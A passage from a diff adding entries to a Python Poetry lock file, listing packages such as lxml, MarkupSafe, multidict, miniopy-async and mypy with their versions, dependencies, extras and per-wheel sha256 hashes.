+ {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8b77946fd508cbf0fccd8e400a7f71d4ac0e1595812e66025bac475a8e811694"},
+ {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fe4bda6bd4340caa6e5cf95e73f8fea5c4bfc55763dd42f1b50a94c1b4a2fbd4"},
+ {file = "lxml-4.9.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f3df3db1d336b9356dd3112eae5f5c2b8b377f3bc826848567f10bfddfee77e9"},
+ {file = "lxml-4.9.3.tar.gz", hash = "sha256:48628bd53a426c9eb9bc066a923acaa0878d1e86129fd5359aee99285f4eed9c"},
+]
+
+[package.extras]
+cssselect = ["cssselect (>=0.7)"]
+html5 = ["html5lib"]
+htmlsoup = ["BeautifulSoup4"]
+source = ["Cython (>=0.29.35)"]
+
+[[package]]
+name = "markdown-it-py"
+version = "3.0.0"
+description = "Python port of markdown-it. Markdown parsing, done right!"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"},
+ {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"},
+]
+
+[package.dependencies]
+mdurl = ">=0.1,<1.0"
+
+[package.extras]
+benchmarking = ["psutil", "pytest", "pytest-benchmark"]
+code-style = ["pre-commit (>=3.0,<4.0)"]
+compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"]
+linkify = ["linkify-it-py (>=1,<3)"]
+plugins = ["mdit-py-plugins"]
+profiling = ["gprof2dot"]
+rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"]
+testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"]
+
+[[package]]
+name = "markupsafe"
+version = "2.1.3"
+description = "Safely add untrusted strings to HTML/XML markup."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"},
+ {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"},
+ {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"},
+ {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"},
+ {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"},
+ {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"},
+ {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"},
+]
+
+[[package]]
+name = "mccabe"
+version = "0.7.0"
+description = "McCabe checker, plugin for flake8"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
+ {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+description = "Markdown URL utilities"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"},
+ {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"},
+]
+
+[[package]]
+name = "miniopy-async"
+version = "1.15"
+description = "Asynchronous MinIO Python Client API"
+optional = false
+python-versions = ">3.6"
+files = [
+ {file = "miniopy-async-1.15.tar.gz", hash = "sha256:f2ee438373eb2c60bda6363ffbc28ca27f4d871089ea65a02e09896864f3d72f"},
+ {file = "miniopy_async-1.15-py3-none-any.whl", hash = "sha256:9872e9168f45d9f4b828e7764163949f71d68f4f0cba2c22bc31f9856d1ed17e"},
+]
+
+[package.dependencies]
+aiofile = "*"
+aiohttp = "*"
+certifi = "*"
+urllib3 = "*"
+
+[[package]]
+name = "multidict"
+version = "6.0.4"
+description = "multidict implementation"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"},
+ {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"},
+ {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"},
+ {file = "multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"},
+ {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"},
+ {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"},
+ {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"},
+ {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"},
+ {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"},
+ {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"},
+ {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"},
+ {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"},
+ {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"},
+ {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"},
+ {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"},
+ {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"},
+ {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"},
+]
+
+[[package]]
+name = "multivolumefile"
+version = "0.2.3"
+description = "multi volume file wrapper library"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "multivolumefile-0.2.3-py3-none-any.whl", hash = "sha256:237f4353b60af1703087cf7725755a1f6fcaeeea48421e1896940cd1c920d678"},
+ {file = "multivolumefile-0.2.3.tar.gz", hash = "sha256:a0648d0aafbc96e59198d5c17e9acad7eb531abea51035d08ce8060dcad709d6"},
+]
+
+[package.extras]
+check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "pygments", "readme-renderer", "twine"]
+test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "hypothesis", "pyannotate", "pytest", "pytest-cov"]
+type = ["mypy", "mypy-extensions"]
+
+[[package]]
+name = "mypy"
+version = "0.971"
+description = "Optional static typing for Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"},
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"},
+ {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"},
